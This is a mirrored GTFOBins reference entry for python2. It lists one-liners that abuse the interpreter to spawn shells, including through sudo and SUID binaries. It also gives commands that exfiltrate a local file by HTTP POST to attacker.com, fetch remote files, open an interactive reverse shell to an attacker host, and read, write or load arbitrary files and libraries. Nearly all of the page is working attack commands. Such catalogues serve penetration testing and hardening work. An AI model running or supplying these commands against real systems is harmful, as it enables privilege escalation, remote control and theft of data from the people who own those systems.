1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 02:42:45 +02:00
GTFOBins.github.io/_gtfobins/python2.md
2018-05-28 20:12:44 +02:00

1.7 KiB

functions
execute-interactive sudo-enabled suid-enabled upload download reverse-shell-interactive file-read file-write load-library
code
python2 -c 'import os; os.system("/bin/sh")'
code
sudo python2 -c 'import os; os.system("/bin/sh")'
code
./python2 -c 'import os; os.system("/bin/sh -p")'
description code
Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file. export URL=http://attacker.com/ export LFILE=file_to_send python2 -c 'import urllib as u,urllib2 as u2,os.environ as e; u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))'
description code
Serve files in the local folder running an HTTP server. export LPORT=8888 python2 -m SimpleHTTPServer $LPORT
description code
Fetch a remote file via HTTP GET request. export URL=http://attacker.com/file_to_get export LFILE=where_to_save python2 -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
description code
Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> on the attacker box to receive the shell. export RHOST=attacker.com export RPORT=12345 python2 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
code
python2 -c 'open("file_to_read").read()'
code
python2 -c 'open("file_to_write","w+").write("data")'
code
python2 -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'